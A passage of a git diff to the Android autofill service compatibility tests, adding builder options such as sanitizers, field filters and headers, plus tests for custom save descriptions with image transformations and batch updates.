                 + ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
                 + ", ignoredIds=" + Arrays.toString(mIgnoredIds)
+                + ", sanitizers =" + mSanitizers
+                + ", saveTriggerId=" + mSaveTriggerId
+                + ", disableDuration=" + mDisableDuration
+                + ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
+                + ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
                 + "]";
     }
 
@@ -192,6 +259,7 @@
 
     static class Builder {
         private final List<CannedDataset> mDatasets = new ArrayList<>();
+        private final ArrayList<Pair<Sanitizer, AutofillId[]>> mSanitizers = new ArrayList<>();
         private final ResponseType mResponseType;
         private String mFailureMessage;
         private Validator mValidator;
@@ -202,12 +270,19 @@
         public int mSaveType = -1;
         private Bundle mExtras;
         private RemoteViews mPresentation;
+        private RemoteViews mFooter;
+        private RemoteViews mHeader;
         private IntentSender mAuthentication;
         private String[] mAuthenticationIds;
         private String[] mIgnoredIds;
         private int mNegativeActionStyle;
         private IntentSender mNegativeActionListener;
-        private int mFlags;
+        private int mSaveInfoFlags;
+        private int mFillResponseFlags;
+        private AutofillId mSaveTriggerId;
+        private long mDisableDuration;
+        private AutofillId[] mFieldClassificationIds;
+        private boolean mFieldClassificationIdsOverflow;
 
         public Builder(ResponseType type) {
             mResponseType = type;
@@ -240,8 +315,13 @@
             return this;
         }
 
-        public Builder setFlags(int flags) {
-            mFlags = flags;
+        public Builder setSaveInfoFlags(int flags) {
+            mSaveInfoFlags = flags;
+            return this;
+        }
+
+        public Builder setFillResponseFlags(int flags) {
+            mFillResponseFlags = flags;
             return this;
         }
 
@@ -312,6 +392,14 @@
             return this;
         }
 
+        /**
+         * Adds a save sanitizer.
+         */
+        public Builder addSanitizer(Sanitizer sanitizer, AutofillId... ids) {
+            mSanitizers.add(new Pair<>(sanitizer, ids));
+            return this;
+        }
+
         public CannedFillResponse build() {
             return new CannedFillResponse(this);
         }
@@ -324,6 +412,46 @@
             mFailureMessage = message;
             return this;
         }
+
+        /**
+         * Sets the view that explicitly triggers save.
+         */
+        public Builder setSaveTriggerId(AutofillId id) {
+            assertWithMessage("already set").that(mSaveTriggerId).isNull();
+            mSaveTriggerId = id;
+            return this;
+        }
+
+        public Builder disableAutofill(long duration) {
+            assertWithMessage("already set").that(mDisableDuration).isEqualTo(0L);
+            mDisableDuration = duration;
+            return this;
+        }
+
+        // TODO(b/67867469): document
+        public Builder setFieldClassificationIds(AutofillId... ids) {
+            assertWithMessage("already set").that(mFieldClassificationIds).isNull();
+            mFieldClassificationIds = ids;
+            return this;
+        }
+
+        // TODO(b/67867469): document
+        public Builder setFieldClassificationIdsOverflow() {
+            mFieldClassificationIdsOverflow = true;
+            return this;
+        }
+
+        public Builder setHeader(RemoteViews header) {
+            assertWithMessage("already set").that(mHeader).isNull();
+            mHeader = header;
+            return this;
+        }
+
+        public Builder setFooter(RemoteViews footer) {
+            assertWithMessage("already set").that(mFooter).isNull();
+            mFooter = footer;
+            return this;
+        }
     }
 
     /**
@@ -344,6 +472,7 @@
     static class CannedDataset {
         private final Map<String, AutofillValue> mFieldValues;
         private final Map<String, RemoteViews> mFieldPresentations;
+        private final Map<String, Pattern> mFieldFilters;
         private final RemoteViews mPresentation;
         private final IntentSender mAuthentication;
         private final String mId;
@@ -351,6 +480,7 @@
         private CannedDataset(Builder builder) {
             mFieldValues = builder.mFieldValues;
             mFieldPresentations = builder.mFieldPresentations;
+            mFieldFilters = builder.mFieldFilters;
             mPresentation = builder.mPresentation;
             mAuthentication = builder.mAuthentication;
             mId = builder.mId;
@@ -374,10 +504,19 @@
                     final AutofillId autofillid = node.getAutofillId();
                     final AutofillValue value = entry.getValue();
                     final RemoteViews presentation = mFieldPresentations.get(id);
+                    final Pattern filter = mFieldFilters.get(id);
                     if (presentation != null) {
-                        builder.setValue(autofillid, value, presentation);
+                        if (filter == null) {
+                            builder.setValue(autofillid, value, presentation);
+                        } else {
+                            builder.setValue(autofillid, value, filter, presentation);
+                        }
                     } else {
-                        builder.setValue(autofillid, value);
+                        if (filter == null) {
+                            builder.setValue(autofillid, value);
+                        } else {
+                            builder.setValue(autofillid, value, filter);
+                        }
                     }
                 }
             }
@@ -390,12 +529,15 @@
             return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
                     + ", fieldPresentations=" + (mFieldPresentations)
                     + ", hasAuthentication=" + (mAuthentication != null)
-                    + ", fieldValues=" + mFieldValues + "]";
+                    + ", fieldValues=" + mFieldValues
+                    + ", fieldFilters=" + mFieldFilters + "]";
         }
 
         static class Builder {
             private final Map<String, AutofillValue> mFieldValues = new HashMap<>();
             private final Map<String, RemoteViews> mFieldPresentations = new HashMap<>();
+            private final Map<String, Pattern> mFieldFilters = new HashMap<>();
+
             private RemoteViews mPresentation;
             private IntentSender mAuthentication;
             private String mId;
@@ -420,6 +562,17 @@
             }
 
             /**
+             * Sets the canned value of a text field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, Pattern filter) {
+                return setField(id, AutofillValue.forText(text), filter);
+            }
+
+            /**
              * Sets the canned value of a list field based on its its {@code id}.
              *
              * <p>The meaning of the id is defined by the object using the canned dataset.
@@ -465,6 +618,19 @@
             }
 
             /**
+             * Sets the canned value of a date field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, AutofillValue value, Pattern filter) {
+                setField(id, value);
+                mFieldFilters.put(id, filter);
+                return this;
+            }
+
+            /**
              * Sets the canned value of a field based on its {@code id}.
              *
              * <p>The meaning of the id is defined by the object using the canned dataset.
@@ -478,6 +644,20 @@
             }
 
             /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation,
+                    Pattern filter) {
+                setField(id, text, presentation);
+                mFieldFilters.put(id, filter);
+                return this;
+            }
+
+            /**
              * Sets the view to present the response in the UI.
              */
             public Builder setPresentation(RemoteViews presentation) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
index 59b0b7c..d40cf5e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
@@ -44,6 +44,7 @@
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
 import android.service.autofill.CharSequenceTransformation;
 import android.service.autofill.CustomDescription;
+import android.service.autofill.ImageTransformation;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiObject2;
 import android.widget.ArrayAdapter;
@@ -249,11 +250,20 @@
         assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
     }
 
+    @Test
+    public void testCustomizedSaveUi() throws Exception {
+        customizedSaveUi(false);
+    }
+
+    @Test
+    public void testCustomizedSaveUiWithContentDescription() throws Exception {
+        customizedSaveUi(true);
+    }
+
     /**
      * Tests that a spinner can be used on custom save descriptions.
      */
-    @Test
-    public void testCustomizedSaveUi() throws Exception {
+    private void customizedSaveUi(boolean withContentDescription) throws Exception {
         // Set service.
         enableService();
 
@@ -268,9 +278,18 @@
         final CharSequenceTransformation trans2 = new CharSequenceTransformation
                 .Builder(mActivity.getCcExpiration().getAutofillId(), Pattern.compile("(.*)"), "$1")
                 .build();
+        final ImageTransformation trans3 = (withContentDescription
+                ? new ImageTransformation.Builder(mActivity.getCcNumber().getAutofillId(),
+                        Pattern.compile("(.*)"), R.drawable.android,
+                        "One image is worth thousand words")
+                : new ImageTransformation.Builder(mActivity.getCcNumber().getAutofillId(),
+                        Pattern.compile("(.*)"), R.drawable.android))
+                .build();
+
         final CustomDescription customDescription = new CustomDescription.Builder(presentation)
                 .addChild(R.id.first, trans1)
                 .addChild(R.id.second, trans2)
+                .addChild(R.id.img, trans3)
                 .build();
 
         sReplier.addResponse(new CannedFillResponse.Builder()
@@ -294,7 +313,7 @@
         final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
 
         // Then make sure it does have the custom views on it...
-        final UiObject2 staticText = saveUi.findObject(By.res(packageName, "static_text"));
+        final UiObject2 staticText = saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT));
         assertThat(staticText).isNotNull();
         assertThat(staticText.getText()).isEqualTo("YO:");
 
@@ -305,6 +324,15 @@
         final UiObject2 expiration = saveUi.findObject(By.res(packageName, "second"));
         assertThat(expiration).isNotNull();
         assertThat(expiration.getText()).isEqualTo("today");
+
+        final UiObject2 image = saveUi.findObject(By.res(packageName, "img"));
+        assertThat(image).isNotNull();
+        final String contentDescription = image.getContentDescription();
+        if (withContentDescription) {
+            assertThat(contentDescription).isEqualTo("One image is worth thousand words");
+        } else {
+            assertThat(contentDescription).isNull();
+        }
     }
 
     /**
@@ -356,6 +384,6 @@
         final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
 
         // Then make sure it does not have the custom views on it...
-        assertThat(saveUi.findObject(By.res(packageName, "static_text"))).isNull();
+        assertThat(saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT))).isNull();
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
index b7acfc6..bc39ffb 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
@@ -25,9 +25,12 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.service.autofill.BatchUpdates;
 import android.service.autofill.CharSequenceTransformation;
 import android.service.autofill.CustomDescription;
 import android.service.autofill.ImageTransformation;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
 import android.support.annotation.NonNull;
 import android.support.annotation.Nullable;
 import android.support.test.uiautomator.By;
@@ -47,7 +50,7 @@
 public class CustomDescriptionTest extends AutoFillServiceTestCase {
     @Rule
     public final AutofillActivityTestRule<LoginActivity> mActivityRule =
-        new AutofillActivityTestRule<>(LoginActivity.class);
+            new AutofillActivityTestRule<>(LoginActivity.class);
 
     private LoginActivity mActivity;
 
@@ -105,13 +108,13 @@
     @Test
     public void validTransformation() throws Exception {
         testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
-                    R.layout.two_horizontal_text_fields);
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
 
             CharSequenceTransformation trans1 = new CharSequenceTransformation
                     .Builder(usernameId, Pattern.compile("(.*)"), "$1")
                     .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
                     .build();
+            @SuppressWarnings("deprecation")
             ImageTransformation trans2 = new ImageTransformation
                     .Builder(usernameId, Pattern.compile(".*"),
                     R.drawable.android).build();
@@ -120,31 +123,253 @@
                     .addChild(R.id.first, trans1)
                     .addChild(R.id.img, trans2)
                     .build();
-        }, () -> assertSaveUiWithCustomDescriptionIsShown("usernm..wd"));
+        }, () -> assertSaveUiIsShownWithTwoLines("usernm..wd"));
+    }
+
+    @Test
+    public void validTransformationWithOneTemplateUpdate() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans1 = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                    .build();
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans2 = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile(".*"),
+                    R.drawable.android).build();
+            RemoteViews update = newTemplate(0); // layout id not really used
+            update.setViewVisibility(R.id.second, View.GONE);
+            Validator condition = new RegexValidator(usernameId, Pattern.compile(".*"));
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans1)
+                    .addChild(R.id.img, trans2)
+                    .batchUpdate(condition,
+                            new BatchUpdates.Builder().updateTemplate(update).build())
+                    .build();
+        }, () -> assertSaveUiIsShownWithJustOneLine("usernm..wd"));
+    }
+
+    @Test
+    public void validTransformationWithMultipleTemplateUpdates() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans1 = new CharSequenceTransformation.Builder(usernameId,
+                    Pattern.compile("(.*)"), "$1")
+                            .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                            .build();
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans2 = new ImageTransformation.Builder(usernameId,
+                    Pattern.compile(".*"), R.drawable.android)
+                    .build();
+
+            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+
+            // Line 1 updates
+            RemoteViews update1 = newTemplate(666); // layout id not really used
+            update1.setContentDescription(R.id.first, "First am I"); // valid
+            RemoteViews update2 = newTemplate(0); // layout id not really used
+            update2.setViewVisibility(R.id.first, View.GONE); // invalid
+
+            // Line 2 updates
+            RemoteViews update3 = newTemplate(-666); // layout id not really used
+            update3.setTextViewText(R.id.second, "First of his second name"); // valid
+            RemoteViews update4 = newTemplate(0); // layout id not really used
+            update4.setTextViewText(R.id.second, "SECOND of his second name"); // invalid
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans1)
+                    .addChild(R.id.img, trans2)
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder().updateTemplate(update1).build())
+                    .batchUpdate(invalidCondition,
+                            new BatchUpdates.Builder().updateTemplate(update2).build())
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder().updateTemplate(update3).build())
+                    .batchUpdate(invalidCondition,
+                            new BatchUpdates.Builder().updateTemplate(update4).build())
+                    .build();
+        }, () -> assertSaveUiWithLinesIsShown(
+                (line1) -> assertWithMessage("Wrong content description for line1")
+                        .that(line1.getContentDescription()).isEqualTo("First am I"),
+                (line2) -> assertWithMessage("Wrong text for line2").that(line2.getText())
+                        .isEqualTo("First of his second name"),
+                null));
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_noConditionPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.NONE_PASS);
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_secondConditionPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.SECOND_PASS);
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_thirdConditionPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.THIRD_PASS);
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_allConditionsPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.ALL_PASS);
+    }
+
+    private enum BatchUpdatesConditionType {
+        NONE_PASS,
+        SECOND_PASS,
+        THIRD_PASS,
+        ALL_PASS
+    }
+
+    /**
+     * Tests a custom description that has 3 transformations, one applied directly and the other
+     * 2 in batch updates.
+     *
+     * @param conditionsType defines which batch updates conditions will pass.
+     */
+    private void multipleBatchUpdatesTest(BatchUpdatesConditionType conditionsType)
+            throws Exception {
+
+        final boolean line2Pass = conditionsType == BatchUpdatesConditionType.SECOND_PASS
+                || conditionsType == BatchUpdatesConditionType.ALL_PASS;
+        final boolean line3Pass = conditionsType == BatchUpdatesConditionType.THIRD_PASS
+                || conditionsType == BatchUpdatesConditionType.ALL_PASS;
+
+        final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
+                .that(line1.getText()).isEqualTo("L1-u");
+
+        final Visitor<UiObject2> line2Visitor;
+        if (line2Pass) {
+            line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
+                    .that(line2.getText()).isEqualTo("L2-u");
+        } else {
+            line2Visitor = null;
+        }
+
+        final Visitor<UiObject2> line3Visitor;
+        if (line3Pass) {
+            line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
+                    .that(line3.getText()).isEqualTo("L3-p");
+        } else {
+            line3Visitor = null;
+        }
+
+        testCustomDescription((usernameId, passwordId) -> {
+            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+            Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
+
+            final RemoteViews presentation =
+                    newTemplate(R.layout.three_horizontal_text_fields_last_two_invisible);
+
+            final CharSequenceTransformation line1Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
+                        .build();
+
+            final CharSequenceTransformation line2Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
+                        .build();
+            final RemoteViews line2Updates = newTemplate(666); // layout id not really used
+            line2Updates.setViewVisibility(R.id.second, View.VISIBLE);
+
+            final CharSequenceTransformation line3Transformation =
+                    new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
+                        .build();
+            final RemoteViews line3Updates = newTemplate(666); // layout id not really used
+            line3Updates.setViewVisibility(R.id.third, View.VISIBLE);
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, line1Transformation)
+                    .batchUpdate(line2Pass ? validCondition : invalidCondition,
+                            new BatchUpdates.Builder()
+                            .transformChild(R.id.second, line2Transformation)
+                            .updateTemplate(line2Updates)
+                            .build())
+                    .batchUpdate(line3Pass ? validCondition : invalidCondition,
+                            new BatchUpdates.Builder()
+                            .transformChild(R.id.third, line3Transformation)
+                            .updateTemplate(line3Updates)
+                            .build())
+                    .build();
+        }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
+    }
+
+    @Test
+    public void testBatchUpdatesApplyUpdateFirstThenTransformations() throws Exception {
+
+        final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
+                .that(line1.getText()).isEqualTo("L1-u");
+        final Visitor<UiObject2> line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
+                .that(line2.getText()).isEqualTo("L2-u");
+        final Visitor<UiObject2> line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
+                .that(line3.getText()).isEqualTo("L3-p");
+
+        testCustomDescription((usernameId, passwordId) -> {
+            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+            Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
+
+            final RemoteViews presentation =
+                    newTemplate(R.layout.two_horizontal_text_fields);
+
+            final CharSequenceTransformation line1Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
+                        .build();
+
+            final CharSequenceTransformation line2Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
+                        .build();
+
+            final CharSequenceTransformation line3Transformation =
+                    new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
+                        .build();
+            final RemoteViews line3Presentation = newTemplate(R.layout.third_line_only);
+            final RemoteViews line3Updates = newTemplate(666); // layout id not really used
+            line3Updates.addView(R.id.parent, line3Presentation);
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, line1Transformation)
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder()
+                            .transformChild(R.id.second, line2Transformation)
+                            .build())
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder()
+                            .updateTemplate(line3Updates)
+                            .transformChild(R.id.third, line3Transformation)
+                            .build())
+                    .build();
+        }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
     }
 
     @Test
     public void badImageTransformation() throws Exception {
         testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
-                    R.layout.two_horizontal_text_fields);
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
 
-            ImageTransformation trans = new ImageTransformation
-                    .Builder(usernameId, Pattern.compile(".*"), 1)
-                    .build();
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans = new ImageTransformation.Builder(usernameId,
+                    Pattern.compile(".*"), 1).build();
 
             return new CustomDescription.Builder(presentation)
                     .addChild(R.id.img, trans)
                     .build();
-        }, () -> assertSaveUiWithCustomDescriptionIsShown() );
+        }, () -> assertSaveUiWithCustomDescriptionIsShown());
     }
 
     @Test
     public void unusedImageTransformation() throws Exception {
         testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
-                    R.layout.two_horizontal_text_fields);
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
 
+            @SuppressWarnings("deprecation")
             ImageTransformation trans = new ImageTransformation
                     .Builder(usernameId, Pattern.compile("invalid"), R.drawable.android)
                     .build();
@@ -158,9 +383,9 @@
     @Test
     public void applyImageTransformationToTextView() throws Exception {
         testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
-                    R.layout.two_horizontal_text_fields);
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
 
+            @SuppressWarnings("deprecation")
             ImageTransformation trans = new ImageTransformation
                     .Builder(usernameId, Pattern.compile(".*"), R.drawable.android)
                     .build();
@@ -174,8 +399,7 @@
     @Test
     public void failFirstFailAll() throws Exception {
         testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
-                    R.layout.two_horizontal_text_fields);
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
 
             CharSequenceTransformation trans = new CharSequenceTransformation
                     .Builder(usernameId, Pattern.compile("(.*)"), "$42")
@@ -191,8 +415,7 @@
     @Test
     public void failSecondFailAll() throws Exception {
         testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
-                    R.layout.two_horizontal_text_fields);
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
 
             CharSequenceTransformation trans = new CharSequenceTransformation
                     .Builder(usernameId, Pattern.compile("(.*)"), "$1")
@@ -208,8 +431,7 @@
     @Test
     public void applyCharSequenceTransformationToImageView() throws Exception {
         testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
-                    R.layout.two_horizontal_text_fields);
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
 
             CharSequenceTransformation trans = new CharSequenceTransformation
                     .Builder(usernameId, Pattern.compile("(.*)"), "$1")
@@ -232,8 +454,7 @@
         final CharSequenceTransformation secondTrans = new CharSequenceTransformation
                 .Builder(usernameId, Pattern.compile("(MARCO)"), "POLO")
                 .build();
-        final RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
-                R.layout.two_horizontal_text_fields);
+        RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
         final CustomDescription customDescription = new CustomDescription.Builder(presentation)
                 .addChild(R.id.first, firstTrans)
                 .addChild(R.id.first, secondTrans)
@@ -256,7 +477,7 @@
         mActivity.tapLogin();
 
         final String expectedText = matchFirst ? "polo" : "POLO";
-        assertSaveUiWithCustomDescriptionIsShown(expectedText);
+        assertSaveUiIsShownWithTwoLines(expectedText);
     }
 
     @Test
@@ -269,6 +490,10 @@
         multipleTransformationsForSameFieldTest(false);
     }
 
+    private RemoteViews newTemplate(int resourceId) {
+        return new RemoteViews(getContext().getPackageName(), resourceId);
+    }
+
     private void assertSaveUiWithoutCustomDescriptionIsShown() {
         // First make sure the UI is shown...
         final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
@@ -290,10 +515,59 @@
         return saveUi;
     }
 
-    private void assertSaveUiWithCustomDescriptionIsShown(String expectedText) {
+    /**
+     * Asserts the save ui only has {@code first} and {@code second} lines (i.e, {@code third} is
+     * invisible), but only {@code first} has text.
+     */
+    private UiObject2 assertSaveUiIsShownWithTwoLines(String expectedTextOnFirst) {
+        return assertSaveUiWithLinesIsShown(
+                (line1) -> assertWithMessage("Wrong text for child with id 'first'")
+                        .that(line1.getText()).isEqualTo(expectedTextOnFirst),
+                (line2) -> assertWithMessage("Wrong text for child with id 'second'")
+                        .that(line2.getText()).isNull(),
+                null);
+    }
+
+    /**
+     * Asserts the save ui only has {@code first} line (i.e., {@code second} and {@code third} are
+     * invisible).
+     */
+    private void assertSaveUiIsShownWithJustOneLine(String expectedTextOnFirst) {
+        assertSaveUiWithLinesIsShown(
+                (line1) -> assertWithMessage("Wrong text for child with id 'first'")
+                        .that(line1.getText()).isEqualTo(expectedTextOnFirst),
+                null, null);
+    }
+
+    private UiObject2 assertSaveUiWithLinesIsShown(@Nullable Visitor<UiObject2> line1Visitor,
+            @Nullable Visitor<UiObject2> line2Visitor, @Nullable Visitor<UiObject2> line3Visitor) {
         final UiObject2 saveUi = assertSaveUiWithCustomDescriptionIsShown();
-        assertWithMessage("didn't find '%s' on SaveUI (%s)", expectedText,
-                sUiBot.getChildrenAsText(saveUi))
-                        .that(saveUi.findObject(By.text(expectedText))).isNotNull();
+        assertSaveUiChild(saveUi, "first", line1Visitor);
+        assertSaveUiChild(saveUi, "second", line2Visitor);
+        assertSaveUiChild(saveUi, "third", line3Visitor);
+        return saveUi;
+    }
+
+    /**
+     * Asserts the contents of save UI child element.
+     *
+     * @param saveUi save UI
+     * @param childId resource id of the child
+     * @param assertion if {@code null}, asserts the child does not exist; otherwise, asserts the
+     * child with it.
+     */
+    private void assertSaveUiChild(@NonNull UiObject2 saveUi, @NonNull String childId,
+            @Nullable Visitor<UiObject2> assertion) {
+        final UiObject2 child = saveUi.findObject(By.res(mPackageName, childId));
+        if (assertion != null) {
+            assertWithMessage("Didn't find child with id '%s'", childId).that(child).isNotNull();
+            try {
+                assertion.visit(child);
+            } catch (Throwable t) {
+                throw new AssertionError("Error on child '" + childId + "'", t);
+            }
+        } else {
+            assertWithMessage("Shouldn't find child with id '%s'", childId).that(child).isNull();
+        }
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
new file mode 100644
index 0000000..2a50b6e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.InternalValidator;
+import android.service.autofill.Transformation;
+import android.service.autofill.Validator;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CustomDescriptionUnitTest {
+
+    private final CustomDescription.Builder mBuilder =
+            new CustomDescription.Builder(mock(RemoteViews.class));
+    private final BatchUpdates mValidUpdate =
+            new BatchUpdates.Builder().updateTemplate(mock(RemoteViews.class)).build();
+    private final Validator mValidCondition = mock(InternalValidator.class);
+
+    @Test
+    public void testNullConstructor() {
+        assertThrows(NullPointerException.class, () ->  new CustomDescription.Builder(null));
+    }
+
+    @Test
+    public void testAddChild_null() {
+        assertThrows(IllegalArgumentException.class, () ->  mBuilder.addChild(42, null));
+    }
+
+    @Test
+    public void testAddChild_invalidTransformation() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.addChild(42, mock(Transformation.class)));
+    }
+
+    @Test
+    public void testBatchUpdate_nullCondition() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.batchUpdate(null, mValidUpdate));
+    }
+
+    @Test
+    public void testBatchUpdate_invalidCondition() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.batchUpdate(mock(Validator.class), mValidUpdate));
+    }
+
+    @Test
+    public void testBatchUpdate_nullUpdates() {
+        assertThrows(NullPointerException.class,
+                () ->  mBuilder.batchUpdate(mValidCondition, null));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index 33f0943..84c4a6f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -192,6 +192,9 @@
         saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_NEW_ACTIVITY);
     }
 
